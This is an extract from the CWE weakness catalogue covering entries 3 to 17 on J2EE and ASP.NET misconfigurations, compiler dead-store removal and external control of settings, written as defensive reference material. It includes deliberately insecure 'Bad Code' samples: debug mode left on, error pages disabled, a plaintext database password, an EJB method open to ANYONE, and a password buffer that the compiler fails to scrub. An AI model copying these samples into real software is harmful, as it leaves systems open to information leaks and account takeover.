ParentOf	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	700	2
ParentOf	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	700	3
ParentOf	V	7	J2EE Misconfiguration: Missing Custom Error Page	700	5
ParentOf	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	700	6
ParentOf	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	700	7
ParentOf	V	11	ASP.NET Misconfiguration: Creating Debug Binary	700	8
ParentOf	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	700	9
ParentOf	V	13	ASP.NET Misconfiguration: Password in Configuration File	700	11
ParentOf	B	14	Compiler Removal of Code to Clear Buffers	699	12
ParentOf	B	15	External Control of System or Configuration Setting	699	14
ParentOf	G	435	Interaction Error	699	748
ParentOf	B	552	Files or Directories Accessible to External Parties	699	889
ParentOf	V	650	Trusting HTTP Permission Methods on the Server Side	699	1007
MemberOf	V	700	Seven Pernicious Kingdoms	700	1081

## CWE-3: Technology-specific Environment Issues

Category ID: 3 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are typically introduced during unexpected environmental conditions in particular technologies.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	699	1

Nature	Type	ID	Name	V	Page
ParentOf	C	4	J2EE Environment Issues	699	2
ParentOf	C	519	.NET Environment Issues	699	860

## CWE-4: J2EE Environment Issues

Category ID: 4 (Category) Status: Incomplete

### Description

#### Summary

J2EE framework related environment issues with security implications.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	3	Technology-specific Environment Issues	699	1
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ParentOf	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	699	2
ParentOf	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	699	3
ParentOf	V	7	J2EE Misconfiguration: Missing Custom Error Page	699	5
ParentOf	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	699	6
ParentOf	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	699	7
ParentOf	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	699	892

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

## CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Weakness ID: 5 (Weakness Variant) Status: Draft

### Description

#### Summary

Information sent over a network can be compromised while in transit. An attacker may be able to read/modify the contents if the data are sent in plaintext or are weakly encrypted.

### Time of Introduction

- Implementation
- Operation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Confidentiality

#### Integrity

Read application data

Modify application data

### Potential Mitigations

#### System Configuration

The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

### Other Notes

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed:

A user manually enters URL and types "HTTP" rather than "HTTPS".

Attackers intentionally send a user to an insecure URL.

A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	2	Environment	<b>700</b>	1
ChildOf	<b>C</b>	4	J2EE Environment Issues	<b>699</b>	2
ChildOf	<b>B</b>	319	Cleartext Transmission of Sensitive Information	<b>1000</b>	562
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Insecure Transport

## CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

**Weakness ID:** 6 (*Weakness Variant*)

**Status:** Incomplete

### Description

#### Summary

The J2EE application is configured to use an insufficient session ID length.

#### Extended Description

If an attacker can guess or steal a session ID, then he/she may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

If an attacker can guess an authenticated user's session identifier, they can take over the user's session.

### Enabling Factors for Exploitation

If attackers use a botnet with hundreds or thousands of drone computers, it is reasonable to assume that they could attempt tens of thousands of guesses per second. If the web site in question is large and popular, a high volume of guessing might go unnoticed for some time.

### Demonstrative Examples

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

#### XML Example:

*Bad Code*

```
<sun-web-app>
...
<session-config>
<session-properties>
```

```

<property name="idLengthBytes" value="8">
  <description>The number of bytes in this web module's session ID.</description>
</property>
</session-properties>
</session-config>
...
</sun-web-app>

```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session. Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

### Potential Mitigations

#### Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

#### Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

### Background Details

Session ID's can be used to identify communicating parties in a web environment.

The expected number of seconds required to guess a valid session identifier is given by the equation:  $(2^B+1)/(2^A*S)$  Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	2	Environment	<b>700</b>	1
ChildOf	<b>C</b>	4	J2EE Environment Issues	<b>699</b>	2
ChildOf	<b>B</b>	334	Small Space of Random Values	<b>1000</b>	589
ChildOf	<b>C</b>	965	SFP Secondary Cluster: Insecure Session Management	<b>888</b>	1379

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Insufficient Session-ID Length

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
59	Session Credential Falsification through Prediction	

## References

< <http://www.securiteam.com/securityreviews/5TP0F0UEVQ.html> >.

# CWE-7: J2EE Misconfiguration: Missing Custom Error Page

Weakness ID: 7 (*Weakness Variant*)

Status: Incomplete

## Description

### Summary

The default error page of a web application should not display sensitive information about the software system.

### Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Confidentiality

##### Read application data

A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

### Demonstrative Examples

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

#### Java Example:

*Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

### Potential Mitigations

#### Implementation

Handle exceptions appropriately in source code.

#### Implementation

##### System Configuration

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

**Implementation**

Do not attempt to process an error or attempt to mask it.

**Implementation**

Verify return values are correct and do not supply sensitive information about the system.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	2	Environment	<b>700</b>	1
ChildOf	<b>C</b>	4	J2EE Environment Issues	699	2
ChildOf	<b>C</b>	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	<b>711</b>	1119
ChildOf	<b>G</b>	756	Missing Custom Error Page	<b>699</b> <b>1000</b>	1151
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Missing Error Handling

**References**

M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". McGraw-Hill/Osborne. 2005.

## CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

**Weakness ID:** 8 (*Weakness Variant*)

**Status:** Incomplete

**Description****Summary**

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences****Confidentiality****Integrity****Read application data****Modify application data****Demonstrative Examples****XML Example:**

*Bad Code*

```
<ejb-jar>
<enterprise-beans>
  <entity>
    <ejb-name>EmployeeRecord</ejb-name>
    <home>com.wombat.empl.EmployeeRecordHome</home>
    <remote>com.wombat.empl.EmployeeRecord</remote>
    ...
  </entity>
  ...
</enterprise-beans>
</ejb-jar>
```

**Potential Mitigations**



## Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

## Other Notes

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		2	Environment	<b>700</b>	1
ChildOf		4	J2EE Environment Issues	<b>699</b>	2
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		J2EE Misconfiguration: Unsafe Bean Declaration
Software Fault Patterns	SFP23	Exposed Data

# CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

**Weakness ID:** 9 (*Weakness Variant*)**Status:** Draft

## Description

### Summary

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

### Extended Description

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

## Time of Introduction

- Architecture and Design
- Implementation

## Common Consequences

### Other

### Other

## Demonstrative Examples

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

### XML Example:

*Bad Code*

```
<ejb-jar>
...
<assembly-descriptor>
  <method-permission>
    <role-name>ANYONE</role-name>
    <method>
      <ejb-name>Employee</ejb-name>
      <method-name>getSalary</method-name>
    </method-permission>
  </assembly-descriptor>
...
</ejb-jar>
```

## Potential Mitigations

### Architecture and Design System Configuration

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	700	1
ChildOf	C	4	J2EE Environment Issues	699	2
ChildOf	B	266	Incorrect Privilege Assignment	1000	471
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf	C	901	SFP Primary Cluster: Privilege	888	1328

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Weak Access Permissions

# CWE-10: ASP.NET Environment Issues

Category ID: 10 (Category) Status: Incomplete

## Description

### Summary

ASP.NET framework/language related environment issues with security implications.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	519	.NET Environment Issues	699	860
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ParentOf	V	11	ASP.NET Misconfiguration: Creating Debug Binary	699	8
ParentOf	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	699	9
ParentOf	V	13	ASP.NET Misconfiguration: Password in Configuration File	699	11
ParentOf	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	699	891
ParentOf	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	699	892

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

# CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID: 11 (Weakness Variant) Status: Draft

## Description

### Summary

Debugging messages help attackers learn about the system and plan a form of attack.

### Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

## Time of Introduction

- Implementation
- Operation

## Applicable Platforms

## Languages

- .NET

## Common Consequences

### Confidentiality

#### Read application data

Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.

## Demonstrative Examples

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

### XML Example:

*Bad Code*

```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <system.web>
    <compilation
      defaultLanguage="c#"
      debug="true"
    />
    ...
  </system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

## Potential Mitigations

### System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

## Background Details

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		2	Environment		700 1
ChildOf		10	ASP.NET Environment Issues		699 8
ChildOf		215	Information Exposure Through Debug Information		1000 409
ChildOf		963	SFP Secondary Cluster: Exposed Data		888 1377

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	ASP.NET Misconfiguration: Creating Debug Binary

# CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

**Weakness ID:** 12 (*Weakness Variant*)**Status:** Draft

## Description

### Summary

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

## Time of Introduction

- Implementation
- Operation

## Applicable Platforms

### Languages

- .NET

## Common Consequences

### Confidentiality

#### Read application data

Default error pages give detailed information about the error that occurred, and should not be used in production environments.

Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.

## Demonstrative Examples

An insecure ASP.NET application setting:

### ASP.NET Example:

*Bad Code*

```
<customErrors mode="Off" />
```

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

### ASP.NET Example:

*Good Code*

```
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

## Potential Mitigations

### System Configuration

#### Implementation

Handle exceptions appropriately in source code. The best practice is to use a custom error message. Make sure that the mode attribute is set to "RemoteOnly" in the web.config file as shown in the following example.

*Good Code*

```
<customErrors mode="RemoteOnly" />
```

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used. It should be configured to use a custom page as follows:

*Good Code*

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

### Architecture and Design

Do not attempt to process an error or attempt to mask it.

#### Implementation

Verify return values are correct and do not supply sensitive information about the system.






### System Configuration

ASP .NET applications should be configured to use custom error pages instead of the framework default page.

## Background Details

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		2	Environment		700 1
ChildOf		10	ASP.NET Environment Issues		699 8
ChildOf		756	Missing Custom Error Page		1000 1151
ChildOf		963	SFP Secondary Cluster: Exposed Data		888 1377

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	ASP.NET Misconfiguration: Missing Custom Error Handling

## References

- M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". McGraw-Hill/Osborne. 2005.
- OWASP, Fortify Software. "ASP.NET Misconfiguration: Missing Custom Error Handling". < [http://www.owasp.org/index.php/ASP.NET\\_Misconfiguration:\\_Missing\\_Custom\\_Error\\_Handling](http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling) >.

# CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID: 13 (*Weakness Variant*) Status: Draft

## Description

### Summary

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Access Control

Gain privileges / assume identity

### Demonstrative Examples

#### Example 1:

The following excerpt from an XML configuration file defines a connectionString for connecting to a database.

#### XML Example:

*Bad Code*

```
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
```

The connectionString is in cleartext, allowing anyone who can read the file access to the database.

#### Example 2:

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

#### ASP.NET Example:

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
  providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

## Potential Mitigations

### Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

## Relationships

Nature	Type	ID	Name	700	Page
ChildOf	<b>C</b>	2	Environment	<input checked="" type="checkbox"/>	1

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	10	ASP.NET Environment Issues	<b>699</b>	8
ChildOf	<b>V</b>	260	Password in Configuration File	<b>1000</b>	463
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	ASP.NET Misconfiguration: Password in Configuration File

### References

Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI". <  
<http://msdn.microsoft.com/en-us/library/ms998280.aspx> >.

Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA". <  
<http://msdn.microsoft.com/en-us/library/ms998283.aspx> >.

Microsoft Corporation. ".NET Framework Developer's Guide - Securing Connection Strings". <  
[http://msdn.microsoft.com/en-us/library/89211k9b\(VS.80\).aspx](http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx) >.

## CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID: 14 (*Weakness Base*)

Status: Draft

### Description

#### Summary

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

#### Extended Description

This compiler optimization error occurs when:

1. Secret data are stored in memory.
2. The secret data are scrubbed from memory by overwriting its contents.
3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

### Time of Introduction

- Implementation
- Build and Compilation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Confidentiality

#### Access Control

#### Read memory

#### Bypass protection mechanism

This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.

### Detection Methods

#### Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

## White Box

This weakness is only detectable using white box methods (see black box detection factor).

Careful analysis is required to determine if the code is likely to be removed by the compiler.

## Demonstrative Examples

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using `memset()`.

### C Example:

*Bad Code*

```
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd)) {
            // Interaction with mainframe
        }
    }
    memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to `memset()` will be removed as a dead store because the buffer `pwd` is not used after its value is overwritten [18]. Because the buffer `pwd` contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to `memset()` as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

## Potential Mitigations

### Implementation

Store the sensitive data in a "volatile" memory location if available.

### Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

### Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	2	Environment	699	1
				<b>700</b>	
ChildOf	<b>C</b>	503	Byte/Object Code	<b>699</b>	849
ChildOf	<b>C</b>	633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	<b>711</b>	1119
ChildOf	<b>B</b>	733	Compiler Optimization Removal or Modification of Security-critical Code	<b>1000</b>	1129
ChildOf	<b>C</b>	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	<b>734</b>	1137
ChildOf	<b>C</b>	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	<b>868</b>	1318
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
MemberOf	<b>V</b>	<b>884</b>	<i>CWE Cross-section</i>	<b>884</b>	<b>1319</b>



**Affected Resources**

- Memory

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms PLOVER			Insecure Compiler Optimization Sensitive memory uncleared by compiler optimization
OWASP Top Ten 2004 CERT C Secure Coding	A8 MSC06-C	CWE More Specific	Insecure Storage Be aware of compiler optimization when dealing with sensitive data
CERT C++ Secure Coding	MSC06-CPP		Be aware of compiler optimization when dealing with sensitive data
Software Fault Patterns	SFP23		Exposed Data

**References**

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "A Compiler Optimization Caveat" Page 322. 2nd Edition. Microsoft. 2002.

Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002-11-05. < <http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html> >.

Michael Howard. "Some Bad News and Some Good News". Microsoft. 2002-10-21. < <http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp> >.

Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002-11-16. < <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html> >.

## CWE-15: External Control of System or Configuration Setting

**Weakness ID:** 15 (*Weakness Base*)

**Status:** Incomplete

**Description****Summary**

One or more system settings or configuration elements can be externally controlled by a user.

**Extended Description**

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

**Time of Introduction**

- Implementation

**Modes of Introduction**

Setting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.

**Common Consequences****Other****Varies by context****Demonstrative Examples****Example 1:**

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

**C Example:**

*Bad Code*

```
...
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke `sethostid()`, unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.



## Example 2:

The following Java code snippet reads a string from an `HttpServletRequest` and sets it as the active catalog for a database Connection.

### Java Example:

*Bad Code*

```
...
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

## Potential Mitigations

### Architecture and Design

#### Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### Implementation

#### Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

### Implementation

#### Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		2	Environment	<b>699</b>	1
ChildOf		20	Improper Input Validation	<b>700</b>	18
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1000	957
ChildOf		642	External Control of Critical State Data	<b>1000</b>	993
ChildOf		994	SFP Secondary Cluster: Tainted Input to Variable	<b>888</b>	1391

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Setting Manipulation
Software Fault Patterns	SFP25	Tainted input to variable

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
13	Subverting Environment Variable Values	
69	Target Programs with Elevated Privileges	
76	Manipulating Input to File System Calls	
77	Manipulating User-Controlled Variables	
146	XML Schema Poisoning	

# CWE-16: Configuration

Category ID: 16 (Category)

Status: Draft

## Description

### Summary

Weaknesses in this category are typically introduced during the configuration of the software.

## Detection Methods

### Automated Static Analysis - Binary / Bytecode

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Rebuild & Compare

### Dynamic Analysis with automated results interpretation

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Network Vulnerability Scanner – scan for already-known vulnerabilities for specific products

- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

- Web Application Scanner

- Web Services Scanner

- Database Scanners

Cost effective for partial coverage:

- Network Scanner - id (sub)systems & ports. (what systems are there, ports up? Should they be?)

### Dynamic Analysis with manual results interpretation

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Fuzz Tester

- Framework-based Fuzzer

### Manual Static Analysis - Source Code

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Focused Manual Spotcheck - Focused manual analysis of source

- Manual Source Code Review (not inspections)

### Automated Static Analysis - Source Code

#### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer

- Context-configured Source Code Weakness Analyzer

### Automated Static Analysis

#### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Configuration Checker

Cost effective for partial coverage:

- Origin Analysis

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Cost effective for partial coverage:

Attack Modeling

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	1	Location	699	1
ChildOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1359
MemberOf	V	635	<i>Weaknesses Used by NVD</i>	635	983

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	14	Server Misconfiguration
WASC	15	Application Misconfiguration

**CWE-17: Code**

Category ID: 17 (Category)

Status: Draft

**Description****Summary**

Weaknesses in this category are typically introduced during code development, including specification, design, and implementation.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	1	Location	699	1
ParentOf	C	18	Source Code	699	17
